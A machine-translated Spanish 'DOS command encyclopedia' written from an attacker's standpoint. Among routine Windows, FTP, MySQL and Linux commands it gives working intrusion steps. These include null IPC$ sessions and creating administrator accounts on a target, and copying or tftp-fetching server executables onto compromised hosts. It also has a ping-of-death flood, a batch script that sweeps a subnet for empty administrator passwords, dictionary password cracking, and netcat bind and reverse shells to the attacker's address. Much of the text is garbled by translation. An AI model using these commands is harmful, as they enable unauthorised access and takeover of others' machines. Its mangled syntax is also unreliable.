Colección de citas famosas - Slogan de motivación - Enciclopedia de comandos de DOS

Enciclopedia de comandos de DOS

Net use \\ip\ipc$ ""/user:" "Crear un enlace ipc vacío.

Net utiliza \\ip\ipc$ "contraseña" /usuario:"nombre de usuario" para establecer un enlace ipc no vacío.

Net usa H:\ \ IP \ C $ "contraseña"/usuario: "nombre de usuario" para iniciar sesión directamente, que se asigna al C: local de la otra parte, que es H:

Net usa h : \\ip\c$ asigna a la otra parte después de iniciar sesión. c: Vaya al área local, que es h:

Net use \\ip\ipc$ /del para eliminar el enlace ipc.

Net usa h: /del para eliminar la asignación de la otra parte al local, y el nombre es h:

Net usuario nombre de usuario contraseña / agregar crear usuario.

Usuario de Red Invitado/Activo: Es el usuario invitado activado.

Usuarios de la red para ver qué usuarios están allí.

Nombre de la cuenta de usuario de Net para ver las propiedades de la cuenta.

El nombre de usuario/agregar del administrador del grupo local neto agrega "usuario" al administrador para que tenga derechos de administrador. Nota: agregue la s plural después de administrador.

Net comienza a comprobar qué servicios están activados.

El nombre del servicio de inicio de red inicia el servicio (por ejemplo, inicio de sesión remoto de la red, programación de inicio de la red)

El nombre del servicio de parada de red detiene el servicio.

Tiempo neto \\IP de destino verifica el tiempo de la otra parte.

Net time \\ Target ip /set establece la hora de la computadora local que se sincronizará con la hora del host "target ip" y agrega el parámetro /yes para cancelar el mensaje de confirmación.

Ver qué * * * privilegios están habilitados en la LAN local.

Net view \\ip comprueba qué * * * permisos están habilitados en la LAN de la otra parte.

Configuración de red muestra la configuración de red del sistema.

La red está fuera de línea y desconectada* * *Disfruta

Nombre del servicio suspendido de red servicio suspendido.

Net send ip "SMS" envía un mensaje a la otra parte.

Tipo de conexión de red e información de la red.

Comparte en línea para ver el disfrute * * * local.

Net share ipc$ está abierto a ipc$*** para su disfrute.

Partición neta ipc$ /del eliminar ipc$***

Partición neta c$ /del eliminar c:* * * *Disfruta.

Después de iniciar sesión, el usuario de red invitado 12345 cambia la contraseña a 12345.

La contraseña de red cambia la contraseña de inicio de sesión del sistema.

Netstat -a para ver qué puertos están abiertos. Utilice netstat -an con frecuencia.

Netstat -n comprueba la conexión de red del puerto, normalmente netstat -an.

Ver el trabajo en curso

netstat -p ejemplo de nombre de protocolo: netstat -p tcq/ip ver el uso del protocolo (ver el uso del protocolo tcp/ip).

Netstat -s muestra el uso de todos los protocolos en uso.

Nbtstat -A Uno de los puertos IP del 136 al 139 está abierto. Puede ver el nombre de usuario del último inicio de sesión de la otra parte (el nombre de usuario antes de 03). Nota: el parámetro -A debe ser. en mayúscula.

tracert-parameter ruta de seguimiento de IP (o nombre de computadora) (paquete), parámetro: "-w número" se utiliza para establecer el intervalo de tiempo de espera.

Ping ip (o nombre de dominio) envía datos con un tamaño predeterminado de 32 bytes a otro host. Los parámetros son "-l [espacio] tamaño del paquete"; "-n veces para enviar datos"; "-t" significa hacer ping todo el tiempo.

Ping -t -l 65550 ip Ping de la muerte (enviar un archivo mayor a 64K y hacer ping continuamente se convierte en ping de la muerte).

Ipconfig (winipcfg) se usa para Windows NT y XP (Windows 95 98) para ver la dirección IP local. Ipconfig puede usar el parámetro "/all" para mostrar toda la información de configuración.

Tlist -t muestra el proceso en una lista de líneas de árbol (es una herramienta adicional para el sistema, no se instala de forma predeterminada y se encuentra en la carpeta Soporte/herramientas del directorio de instalación).

Agregue el parámetro -F al nombre del proceso kill -F para finalizar forzosamente un proceso (es una herramienta adicional para el sistema, no instalada de forma predeterminada y se encuentra en la carpeta Soporte/herramientas del directorio de instalación).

El nombre del archivo Del -F se puede eliminar después de agregar el parámetro -F. /AR, /AH, /AS y /AA significan eliminar archivos de solo lectura, ocultos, del sistema y de almacenamiento, respectivamente. /A-R, /A-H, /A-S y /A-A significan eliminar archivos excepto archivos de solo lectura, ocultos, del sistema y de archivo. Por ejemplo, "DEL/AR *.*" significa eliminar todos los archivos de solo lectura en el directorio actual, y "DEL/A-S *.*" significa eliminar todos los archivos en el directorio actual excepto los archivos del sistema.

Dos:

Elimine el directorio /S /Q o utilice: rmdir /s /Q directorio /S para eliminar el directorio y todos los subdirectorios y archivos que contiene. Al mismo tiempo, use el parámetro /Q para cancelar la operación de eliminación y elimínela directamente después de que el sistema la confirme. (Ambos comandos tienen el mismo efecto)

Mueva la letra de unidad\ruta\ruta para almacenar el nombre del archivo que se va a mover\nombre del archivo. Después de mover, use el parámetro /y para cancelar el mensaje y confirmar que el El mismo archivo existe en el directorio movido, cobertura directa.

fc one . txt two . txt > 3t.txt compara dos archivos y genera las diferencias en el archivo 3t.txt. ">" y "> >Este es un comando de redirección

T /delete detiene todas las tareas programadas. Utilice el parámetro /yes para detener directamente sin confirmación.

En id No./ Detenga las tareas programadas registradas cuando se elimine

Ver todas las tareas programadas. En \\ip time nombre del programa (o comando)/r ejecute el programa de la otra parte y reinicie la computadora. >

Dedo el nombre de usuario @host para ver qué usuarios han iniciado sesión recientemente.

El puerto IP de Telnet está alejado del servidor de inicio de sesión. El puerto predeterminado es 23. p>Abrir conexión IP a IP (comando). después de iniciar sesión en telnet)

Telnet: escriba telnet directamente en esta máquina para ingresar telnet en esta máquina

Copiar ruta\. directorio especificado como archivo 2 y use el parámetro /y para cancelar la confirmación y sobrescribir el archivo del directorio existente

Copiar c:\srv .exe \\ip\admin$ Copiar el c:\srv local. exe al administrador de la otra parte

cppy 1st.jpg/b+2st.txt/a 3st.jpg copiará el 2st .txt. El contenido está oculto en 1st.jpg y se genera un nuevo archivo en. 3st.jpg Nota: El encabezado del archivo 2st.txt debe tener tres líneas vacías: /b se refiere al archivo binario y /a se refiere al archivo ASCLL

copia \\IP\admin. $\svv.exe c:\ o:copiar \\IP\admin$\* *Copie los archivos srv.exe (todos los archivos) propiedad de otros administradores$*** al c:

local. Xcopy dirección de destino del árbol de archivos o directorios \ nombre del directorio para copiar el árbol de archivos y directorios, cubriendo el mismo archivo sin el parámetro /y

Tftp -i IP propia (tome la máquina de carne como máquina. Utilice la IP de la máquina de carne al iniciar) para obtener server.exe c:\server. Después de iniciar sesión con exe, descargue el server.exe de "IP" al host de destino C:\server.

Parámetro exe: -i significa transmitir en modo binario, como cuando se transmiten archivos EXE, o si no se agrega -i, transmitirá en modo ASCII (modo de transferencia de archivo de texto).

Tftp -i IP put c:\server.exe para iniciar sesión y cargar el c:\server.exe local en el host.

El puerto ftp ip se utiliza para cargar archivos al servidor o realizar operaciones con archivos. El puerto predeterminado es 21. Bin se refiere a la transmisión binaria (entrada de archivo ejecutable), de forma predeterminada, se transmite en formato ASCII (si es un archivo de texto).

La impresión de ruta muestra el enrutamiento IP, que muestra principalmente la dirección de red, la dirección de red, la máscara de subred, la máscara de red, la dirección de puerta de enlace, la dirección de puerta de enlace y la dirección de interfaz.

Arp comprueba y procesa la caché ARP. ARP significa Resolución de nombres y es responsable de resolver direcciones IP en direcciones MAC físicas. Arp -a mostrará toda la información.

Inicie el nombre del programa o comando /max o /min para abrir una nueva ventana y maximizar (minimizar) ejecutar un programa o comando.

Memoria utilizada para comprobar el uso de la CPU

Nombre de archivo Attrib (nombre del directorio) para ver los atributos del archivo (directorio).

El nombre del archivo atributo -A -R -S -H o +A +R +S +H elimina (agrega) los atributos de archivo, de solo lectura, de sistema y ocultos del archivo con+ se agrega como; un atributo.

Ver el directorio del archivo. Parámetros: /Q muestra a qué usuario pertenecen los archivos y directorios, /T:C muestra la hora en que se creó el archivo, /T:A muestra la hora en que se accedió al archivo por última vez y /T:W muestra la hora en que el archivo fue modificado por última vez.

Fecha/t, hora/t El uso de este parámetro, es decir, "fecha/T" y "hora/T", solo mostrará la fecha y hora actuales sin ingresar una nueva fecha y hora.

Establecer especifica el nombre de la variable de entorno = el carácter que se asignará a la variable para establecer la variable de entorno.

Set muestra todas las variables de entorno actuales.

Set p (u otros caracteres) muestra todas las variables de entorno que actualmente comienzan con el carácter p (u otros caracteres).

Pausa detiene el proceso por lotes y muestra: Presione cualquier tecla para continuar. ....

Si realiza procesamiento condicional en un programa por lotes (consulte if comando y variables para más detalles)

La etiqueta goto apunta cmd.exe al proceso por lotes La línea de etiqueta en el programa (la etiqueta debe ser una línea separada y comenzar con dos puntos, como la etiqueta ":start").

Ruta de llamada\nombre del archivo por lotes Llama a otro programa por lotes desde un programa por lotes (ver llamada/?)

Para realiza una operación específica en cada archivo en un conjunto de archivos Comandos (ver para comandos y variables para más detalles).

Echo activado o desactivado Activa o desactiva el eco, muestra la configuración actual del eco, solo eco, sin parámetros.

Los mensajes de eco muestran información en la pantalla.

Mensaje de eco> & gtPass.txt guarda el "mensaje" en el archivo pass.txt.

Findstr "Hello" aa.txt busca la cadena Hello en el archivo aa.txt.

Buscar nombre de archivo Buscar archivo

Título Nombre de título Cambia el nombre del título de la ventana CMD.

El valor del color establece los colores de primer plano y de fondo de la consola cmd; 0 = negro, 1 = azul, 2 = verde, 3 = verde claro, 4 = rojo, 5 = morado, 6 = amarillo, 7=blanco, 8=gris, 9=azul claro, a=verde claro, B=verde claro, C=rojo claro, D=morado claro.

El nombre del mensaje cambia el símbolo del sistema mostrado por cmd.exe (cambie C:\, D:\ a: EntSky\).

Imprimir el nombre del archivo e imprimir el archivo de texto

Tres:

Ver muestra información de la versión en la ventana de DOS.

La ventana emergente de Winver muestra información de la versión (tamaño de la memoria, versión del sistema, versión del parche, nombre de la computadora).

Formatear letra /FS: escriba formatear disco, escriba: FAT, FAT32, NTFS, por ejemplo: Formato D: /FS:NTFS.

Nombre del directorio Md para crear un directorio

Reemplace el archivo fuente con el directorio del archivo reemplazado

Cambie el nombre del archivo original a un nuevo nombre de archivo

El árbol muestra directorios en una estructura de árbol y los nombres de los archivos en la primera carpeta se enumerarán usando el parámetro -f.

Escribir nombre de archivo muestra el contenido de un archivo de texto.

Más nombres de archivos muestran los archivos de salida pantalla por pantalla.

Comando Doskey lock = carácter

Comando Doskey para desbloquear = el comando de bloqueo proporcionado para DOS (editar la línea de comando, llamar al comando win2k, crear una macro). Por ejemplo: comando lock dir: doskey dir=entsky (doskeydir = dir no se puede usar desbloquear: doskey dir=

Taskmgr llama al administrador de tareas

Chkdsk /F D: verificar el disco); D y Mostrar informe de estado; agregar el parámetro /f y corregir errores en el disco.

Tlntadmn telnt service admn, escriba Tlntadmn, seleccione 3, luego seleccione 8 para cambiar el puerto predeterminado 23 del servicio telnet a cualquier otro puerto.

Salir sale del programa cmd.exe o utiliza actualmente el parámetro /B para salir del script por lotes actual en lugar de cmd.exe.

Ruta ruta\nombre del archivo ejecutable establece la ruta al archivo ejecutable.

Cmd inicia la ventana de interpretación de comandos de win2K. Parámetros: /eff, /en desactiva y activa la expansión de comandos. Ver cmd/?

el nombre del archivo de registro regedit /s se importa al registro; el parámetro /S se refiere a la importación en modo silencioso sin ningún mensaje

el nombre del archivo de registro regedit /e exporta el registro

p>

El parámetro de nombre de archivo Cacls muestra o modifica la lista de control de acceso a archivos (ACL), para formato NTFS. Parámetros: /D nombre de usuario: configurado para denegar el acceso al usuario; /P nombre de usuario: permanente reemplaza los derechos de acceso del usuario especificado; /G nombre de usuario: permanente otorga derechos de acceso al usuario especificado: N ninguno, R lectura, W Escritura; , C modificar (escribir), F control total; ejemplo: cacls D:\test.txt /D pub establece D:\test.txt para denegar el acceso al usuario de pub.

Nombre del archivo Cacls para ver la lista de permisos de usuario de acceso al archivo.

El contenido de texto REM agrega comentarios al archivo por lotes

Ver o cambiar la configuración de la red local

Comando del servicio IIS:

Iisreset / reiniciar Reinicie la computadora win2k (pero aparecerá un mensaje de reinicio del sistema).

Iisreset /start o stop inicia (detiene) todos los servicios de Internet.

Iisreset /restart detiene y reinicia todos los servicios de Internet.

Iisreset /status muestra el estado de todos los servicios de Internet.

Iisreset /enable o enable habilita (deshabilita) el reinicio del servicio de Internet en el sistema local.

Iisreset /rebootonerror Al iniciar, detener o reiniciar el servicio de Internet, si ocurre un error, se reiniciará.

Si no se puede detener el servicio de Internet, Iisreset /noforce no finalizará el servicio de Internet por la fuerza.

Iisreset /timeout Val no detiene el servicio de Internet cuando expira el tiempo de espera (segundos). Si se especifica el parámetro /rebooterror, la computadora se reiniciará. Los valores predeterminados son 20 segundos para reiniciar, 60 segundos para detener y 0 segundos para reiniciar.

Comando FTP: (los detalles se darán más adelante)

El formato de línea de comando de ftp es:

FTP-V-D-I-N-G[nombre de host]-V muestra el control remoto servidor toda la información de respuesta.

-d usa el modo de depuración.

-n restringe el inicio de sesión automático mediante ftp, es decir, no lo utiliza. archivo netrc.

-g cancela el nombre del archivo global.

¿Ayuda [comando] o? [Comando] Ver descripción del comando

Adiós o salir finaliza el proceso FTP del host y sale del modo de administración FTP.

Pwd enumera el directorio del host remoto actual.

Cargar o enviar el nombre del archivo local [nombre del archivo cargado al host] envía un archivo local al host remoto.

Obtener o recv [el nombre del archivo del host remoto] [el nombre del archivo después de descargarlo al local] se transfiere del host remoto al host local.

Mget [remote-files] recibe un lote de archivos del host remoto al host local.

Mput local-files transfiere un lote de archivos desde el host local al host remoto.

Dir o ls[directorio remoto][archivos locales] enumera los archivos en el directorio del host remoto actual. Si hay un tono de llamada, sonará una alerta cada vez que se transfiera un archivo.

Cdup vuelve al directorio anterior.

Cerrar interrumpe la sesión ftp con el servidor remoto (correspondiente a abrir)

Abrir host[puerto] establece una conexión con el servidor ftp especificado y puede especificar el puerto de conexión.

Eliminar elimina archivos del host remoto.

Eliminar un lote de archivos.

Mkdir nombre-directorio crea un directorio en el host remoto.

Renombrar [de] [a] cambia el nombre del archivo en el host remoto.

Rmdir nombre-directorio elimina el directorio en el host remoto.

Estado muestra el estado actual de FTP.

El sistema muestra el tipo de sistema host remoto.

Usuario nombre de usuario [contraseña] [cuenta] Inicie sesión en el host remoto nuevamente usando un nombre de usuario diferente.

Abrir el host [puerto] restablece una nueva conexión.

Modo de solicitud interactiva

Comando de macro de definición de Macdef

lcd cambia el directorio de trabajo del host local actual. Si está predeterminado, irá al actual. directorio de inicio del usuario.

Chmod cambia los permisos de archivos en el host remoto.

Cuando se activa el caso, los nombres de los archivos copiados por el comando MGET se transfieren a la máquina local y todos los archivos se convierten a letras minúsculas.

Cd remote-dir ingresa al directorio del host remoto.

Cdup ingresa al directorio principal del directorio del host remoto.

! Ejecute un shell interactivo en la máquina local y salga para regresar al entorno ftp, por ejemplo. ls*. Vitality

Cinco:

Comando MYSQL:

Mysql -h dirección de host -u nombre de usuario -p contraseña para conectarse a MySQL si se acaba de instalar MYSQL; superusuario root No hay contraseña.

(Por ejemplo: MySQL-h 110.10.10.110-urot-p 123456)

Nota: u y root se pueden dejar en blanco, y otros también se pueden dejar en blanco)

Salir Salir de MYSQL

Mysqladmin -u nombre de usuario -pContraseña antigua Nueva contraseña Cambiar contraseña

Otorgar permiso de selección a la base de datos. * al nombre de usuario@loginhost identificado por "contraseña"; agregar nuevo usuario. (Nota: a diferencia de lo anterior, los siguientes son comandos en el entorno MYSQL, por lo que se utiliza un punto y coma como terminador de comando).

Muestra la base de datos; Al principio solo existían dos bases de datos: mysql y test. La biblioteca MySQL es muy importante. Contiene información del sistema MYSQL. Cuando cambiamos contraseñas y agregamos nuevos usuarios, en realidad usamos esta biblioteca para operar.

Usar mysql

Mostrar la tabla; mostrar la tabla de datos en la biblioteca

Describir el nombre de la tabla para mostrar la estructura de la tabla de datos

Crear un nombre de biblioteca de base de datos; crear una biblioteca

Usar el nombre de la biblioteca;

Crear un nombre de tabla (lista de configuración de campo); nombre de la biblioteca de la base de datos;

Eliminar el nombre de la tabla; eliminar la base de datos y eliminar la tabla

Eliminar del nombre de la tabla; borrar registros en la tabla

Seleccione * del nombre de la tabla; en Los registros se muestran en la tabla

mysqldump-opt school & gt; base de datos de respaldo School.bbb: (El comando se ejecuta en el directorio \\mysql\\bin de DOS); base de datos school al archivo school bbb, que es un archivo de texto con un nombre de archivo arbitrario. Ábrelo y mira si encuentras algo nuevo.

Nuevos comandos bajo el sistema win2003 (parte práctica):

apagar/parámetro apaga o reinicia el host local o remoto.

Descripción del parámetro: /S apaga el host, /R reinicia el host, /T establece el tiempo de retardo en el rango de 0 ~ 180 segundos, /A cancela el inicio, /m//IP especifica el anfitrión remoto.

Ejemplo: apagado /r /t 0 Reinicia el host local inmediatamente (sin demora)

tarea ill/parámetro nombre del proceso o pid del proceso finaliza una o más tareas y procesos.

Descripción del parámetro: /pid es el pid de un proceso a terminar. Puede usar el comando tasklist para obtener el pid de cada proceso, /IM es el nombre del proceso a terminar, /. F es la terminación forzada del proceso, /T finaliza el proceso especificado y los procesos secundarios que inicia.

La lista de tareas muestra los procesos, servicios e identificadores de procesos (PID) de los procesos de servicio que se ejecutan actualmente en hosts locales y remotos.

Descripción del parámetro: /M enumera los archivos dll cargados por el proceso actual, /SVC muestra los servicios correspondientes a cada proceso. Si no hay parámetros, solo se enumera el proceso actual.

Seis:

Comandos básicos en el sistema Linux: distingue entre mayúsculas y minúsculas.

Uname muestra información de la versión (igual que la versión de win2K)

Dir muestra los archivos en el directorio actual, ls -al muestra los archivos ocultos (igual que el directorio de win2K).

Pwd consulta la ubicación del directorio actual.

Cd cd.. Regresar al directorio anterior Note que hay un espacio entre cd y... CD/ para regresar al directorio raíz.

Ver el contenido del archivo por nombre de archivo Caterpillar

cat & gtAbc.txt escribe el contenido en el archivo abc.txt y escribe el resultado en el archivo local.

Más nombres de archivos muestran archivos de texto página por página.

Cp copia archivos

Mv mueve archivos

El nombre de archivo Rm elimina archivos, el nombre de directorio RM elimina directorios y subdirectorios.

Nombre del directorio Mkdir para crear un directorio

5 hackers básicos de DOS (los más completos).

Rmdir elimina subdirectorios y no hay documentos en el directorio.

Chmod establece los permisos de acceso a archivos o directorios.

Grep busca cadenas en archivos.

Comparación de archivos de diferencia

Buscar búsqueda de archivos

Fecha Fecha y hora actuales.

Quién comprueba quién está utilizando actualmente la misma máquina que usted y cuándo y dónde iniciaron sesión.

wConsulta la información detallada del usuario actual de la computadora.

Whoami verifica el nombre de tu cuenta.

Grupos Ver los grupos de alguien.

Passwd cambiar contraseña

Historial, consulta tus propios comandos.

Ps muestra el estado del proceso.

Kill detiene un proceso.

Los hackers de Gcc suelen utilizarlo para compilar archivos escritos en lenguaje C.

Sus permisos se convierten al usuario especificado.

Telnet IP telnet se conecta a otro host (igual que win2K). Cuando aparece bash$, la conexión es exitosa.

Ftp conexión ftp al servidor (igual que win2K).

Adjunto: Comandos y variables de procesamiento por lotes

1: Formato básico de comando y variables for:

FOR/parámetro % variable en (set)docommand[command _ parámetros]% variable: especifique parámetros reemplazables de una sola letra, como: %i, use: %%i para especificar variables, use: %i% para llamar variables, las variables distinguen entre mayúsculas y minúsculas (%i no es igual a % i).

El procesamiento por lotes puede procesar variables dentro del rango de tiempo de %0-%9 * * * 10, donde %0 se usa de forma predeterminada para el nombre del archivo por lotes y %1 se ingresa cuando se usa este lote. primer valor. De manera similar, % 2-% 9 se refiere a los valores ingresados ​​del segundo al noveno ejemplo: netuse \ \ ip \ ipC $ pass/user: la IP en el usuario es %1, la contraseña es % 2 y el usuario es %1. % 3.

(set): especifica un archivo o un grupo de archivos, utilizando comodines, como (D:\user.txt) y (1 1 254) (1-1 254), { "(1 65438+ )"(1-1 254)" Descripción: de 254 a 1}

Comando: especifique el comando que se ejecutará en el primer archivo, como por ejemplo: comando net use si desea ejecutar. múltiples comandos, comando Esta sala agrega: & separado

Command_parameters: especifica parámetros o modificadores de línea de comando para comandos específicos

IN (set): se refiere al valor en (set); Comando DO: se refiere a. Ejecutar el comando

Parámetros: /L se refiere a la forma incremental {(set) es la forma incremental}; está terminado {(set) es el archivo, como (d:\pass.txt)}.

Ejemplo de uso:

@Close echo

Echo usa el formato: test.bat *. * >Test.txt

for/L % % G in(1 1 254) do echo % 1. gt& gttest.txt & amp uso de red \ \% % g/. usuario: administrador | buscar "Comando completado exitosamente" > & gtTest

Guardar como test.bat Descripción: Intente establecer un IPC con una contraseña de administrador vacía para 254 IP en la Clase C especificada. segmento de red en secuencia $Connect. Si tiene éxito, guarde la IP en test.txt

/L se refiere al formato incremental (es decir, de 1-254 o 254-1); de la IP:* .* es el %1 predeterminado para el procesamiento por lotes; %%G es una variable (el último dígito de ip se usa para separar los comandos de uso de red y eco; $, y use buscar en el resultado para verificar si hay información de "Comando completado exitosamente"; %1.%%G es una dirección IP completa (1 1 254) se refiere al valor inicial, la cantidad aumentada y el valor final

@Close echo

p>

Formato de uso de eco: ok.bat ip

Para /F %%i IN (D:\user.dic) haz smb. exe % 1% % I D:\ pass . DIC 200

Guardar como: ok.exe Descripción: Después de ingresar una IP, use el archivo de diccionario d:\pass.dic para descifrar la contraseña del usuario en d: \user.dic hasta que se obtengan todos los valores del archivo %%i es el nombre de usuario; %1 es la dirección IP ingresada (predeterminada)

Siete:

2.2. : Formato básico del comando if y las variables:

IF [not] declaración de comando numérico de nivel de error Si el programa finalmente devuelve un código de salida igual o mayor que el número especificado, la condición especificada es "verdadera".

Ejemplo: el comando IF de nivel de error 0 se refiere al comando después de la ejecución del programa cuando el valor de retorno es 0; el comando IF no de nivel de error 1 significa que si el último valor devuelto por la ejecución del programa no es igual a 1, lo siguiente Se ejecutará el comando.

0 significa encontrado y ejecutado exitosamente (verdadero); 1 significa no encontrado o no ejecutado (falso).

IF [not] cadena 1== cadena 2 instrucción de comando Si la cadena de texto especificada coincide (es decir, la cadena 1 es igual a la cadena 2), simplemente ejecute la siguiente instrucción de comando numérico IF [not] nivel de error else comando Declaración o IF [no] cadena 1 == cadena 2 declaración de comando else declaración de comando o IF [no] existe nombre de archivo declaración de comando else declaración de comando más: después de la declaración de comando else, se refiere al comando después de la línea else. Nota: else debe estar en la misma línea para que sea válido. Cuando hay un comando del, se debe usar todo el contenido del comando del

(2) Comandos externos del sistema (es necesario descargar las herramientas relevantes):

1, navaja suiza : nc.exe

p>

Descripción del parámetro:

-h Ver información de ayuda

-Modo de fondo 3D

-e programa de programación redirección, una vez conectado, ejecute [Peligro]

intervalo de retardo de isecs

-l modo de escucha, usado para conexiones entrantes

-L modo de monitoreo, continúe monitoreando después la conexión se cierra hasta CTR+ C.

-n dirección IP, no nombre de dominio.

Transmisión del registro de segmento -o 16.

-p[ espacio] puerto número de puerto local

-r Puertos locales y remotos aleatorios

-tUtilice el modo interactivo Telnet.

-u modo UDP

-v salida detallada, utilice -vv para una salida más detallada.

-w intervalo de retardo de tiempo de espera digital

-z entrada y salida de cierre (cuando se usa para barrido de anclas)

Uso básico:

NC-NVV 192.168.0.180 está conectado al puerto 80 del host 192.168.0.1.

Nc -l -p 80 abre el puerto TCP 80 local de escucha.

NC-NVV-W2-z 192.168.0 180-1024 80-192.168.0 1 se utiliza para ancla de barrido.

NC-l-p 5354-t-e c:winntsystem32cmd.exe vincula el cmdshell del host remoto al puerto TCP 5354 del host remoto.

NC-t-e c:winntsystem32cmd.exe 192.168.0 2 5354 configura el cmdshell del host remoto y se conecta de forma inversa al puerto 5354 de 192.438+068.0.2.

Uso avanzado:

Nc -L -p 80 se utiliza como honeypot 1: abre y monitorea continuamente el puerto 80 hasta CTR+C.

NC-L-p 80 & gt; C:\log.txt se usa como honeypot con 2: Abra y escuche continuamente el puerto 80 hasta CTR+C, y envíe los resultados a c:\log. TXT.

NC-L-p 80 & lt; C:\honeyport.txt como honeypot, usa 3-1: abre y escucha continuamente el puerto 80 hasta CTR+C, envía el contenido en c:\honeyport. txt En el proceso, también puede desempeñar la función de transferir archivos.

Type.exe C:\ honey port | NC-L-P 80 se utiliza como honeypot. 3-2: Abra y escuche continuamente el puerto 80 hasta CTR + C, envíe el contenido en c: \ Honeyport.txt a la tubería, que también puede desempeñar un papel en la transferencia de archivos.

Para esta máquina: nc -l -p puerto local.

En otro host: NC-e cmd.exe IP local -p puerto local *win2K.

Nc -e /bin/sh IP local -p puerto local *linux, la conexión inversa de Unix atraviesa el firewall del otro host.

Esta máquina utiliza: nc -d -l -p puerto local

En el otro host: NC-vv IP local puerto local >; Enviar archivos a otro host.

Nota:

Comandos de canalización

& lt o >comandos de redirección. "& lt", por ejemplo: tlntadmn

@ significa ejecutar el comando después de @, pero no se mostrará (ejecución en segundo plano): @ @ dir c:\ win nt > & gt; en Ejecutado en segundo plano, los resultados se almacenan en D:\log.txt.

& gtCon > & gt">"La diferencia se refiere a: sobrescribir "& gt> se refiere a guardar en (agregar a).

Por ejemplo: @ dir c:\ win nt >>D:\log.txt y @dir c:\winnt >Dos comandos d:\log.txt comparan dos veces: use >>El propósito es guardar todos los resultados secundarios, use: >solo uno El resultado es porque el segundo resultado cubre el primer resultado

Ocho:

2. Herramienta de escaneo de anclajes: xscan.exe

Formato básico

. xscan-host<IP inicial>[-<IP final>]<Proyecto de prueba>[Otras opciones] Escanee todos los hosts en la información del segmento "IP inicial a IP final" del host

.